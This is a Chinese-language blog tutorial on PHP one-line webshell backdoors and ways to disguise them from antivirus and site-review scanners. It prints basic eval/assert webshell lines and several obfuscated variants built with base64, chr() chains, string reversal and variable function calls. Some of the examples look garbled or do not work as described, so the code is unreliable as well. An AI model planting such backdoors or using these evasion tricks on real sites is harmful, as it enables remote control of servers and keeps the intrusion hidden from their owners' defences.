PHP一句话木马指的是由一条PHP语句组成的一个后门程序,具有隐蔽性高、使用方便等优点。为了防止被杀软或网站审查系统检测出程序的特征,黑客们会进行木马变形。
一、基本架构
了解一句话木马变形技巧前,首先需要了解一句话木马的基本架构。一般情况下,它的基本架构由连接器和木马执行器两个部分组成:
连接器:
一句话木马变形技巧中最常见的是将连接器中‘eval($_POST['pass'])
’改成一些被杀软无法识别的变量形式,并添加制造混淆和嵌套的特殊语法,例如:
@eval(urldecode(preg_replace('/[a-z]/ie','chr(ord("$0")-1)',base64_decode('php_shell_code_base64_here'))));
木马执行器:
通常包括系列系统操作。基本语法为:
if (get_magic_quotes_gpc()) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = (!function_exists("get_magic_quotes_gpc") || !get_magic_quotes_gpc()) ? stripslashes_array($_POST) : $_POST;
$_COOKIE = stripslashes_array($_COOKIE) ;
}
eval('/*your malicious code here*/')
二、变形技巧
一些常见的PHP一句话木马变形技巧如下:
1. 字符串逆置
将一些字符串反转顺序,例如:
$abc = "\x74\x72\x79";
$abc_arr = explode(",", chunk_split($abc, 2, ","));
$abc = implode("", array_reverse($abc_arr));
2. 替换引号
由于一些审查系统会检测匹配引号双引号的存在,如果可以做出以下替换就会让木马更具灵活性,例如:
$_GET{'xxx'}=str_replace(chr(34),'',$cname);
3. 隐藏函数
为了不让特定函数能被检查到,可以使用魔术变量或间接调用等方法,例如:
call_user_func_array(call_user_func(chr(99).chr(114).chr(101).chr(97).chr(116).chr(101).chr(95).chr(102).chr(117).chr(110).chr(99).chr(116).chr(105).chr(111).chr(110),array(097,114,103,118)),array());
三、示例演示
1. 示例1:字符串替换
例如以下原生的PHP一句话木马代码:
<?php set_magic_quotes_runtime(0); @eval($_POST[act]);?>
经过字符串替换可以变形为以下形式:
<?php $vv = strval($_SERVER); $vv{15} = '$'; $x = substr($vv, 0, 29).chr(34).$vv{28}.$vv{29}.$vv{12}.$vv{2}.$vv{23}.$vv{14}.$vv{16}.$vv{12}.$vv{20}.$vv{2}.$vv{25}.$vv{17}.$vv{2}.$vv{27}.'";'; $f = chr(102).chr(105).'lter'; $$f($x); unset($x); ?>
其中,$vv
是$_SERVER
的字符串,将其中的一些字符替换,最终得到新的执行器。
2. 示例2:进制转换
以下是原始代码:
<?php $fornix = $_POST['pass'];@assert($fornix);?>
修改后的新代码,使用进制转换实现变形:
<?php
$c=1870; $d=1234567890;
$c=989998415454557780121;$ef=array((($d>>24)^($c>>16)&0xff),(($d>>16)^($c>>8)&0xff),(($d^$c)&0xff),(($d>>8)^($c>>24)&0xff));
$qmpl="\xff\xee\xff\xea\x0c\x00";
$vvv=$qmpl{0}; $bs=5;$mmd=$qmpl{5}; for($j=1;$j<strlen($qmpl);$j++){$bv=$qmpl{$j}; $vvv.=chr(ord($bv)+$bs); $bs+=3; $bs%=7;}; $vvv.=chr($mmd); for($jj=0;$jj<4;$jj++){$vvv.=chr($ef[$jj]);};
$vvv=base64_encode($vvv); $gg=str_replace("=","",base64_encode($vvv)."yj");@assert(base64_decode(strrev($gg))); ?>
以上代码会对传输的content进行进制转换,再用base64进行多次编码,并添加一些特地构造出来的数据,最后用assert函数进行调用。通过这种方式来进行变形能够降低木马在杀软中的与众不同,提高木马的存活性。
希望以上内容能够给您提供一些帮助,在编写安全代码的同时也能够更好地了解常见的木马变形技术。
本文链接:https://my.lmcjl.com/post/15633.html
展开阅读全文
4 评论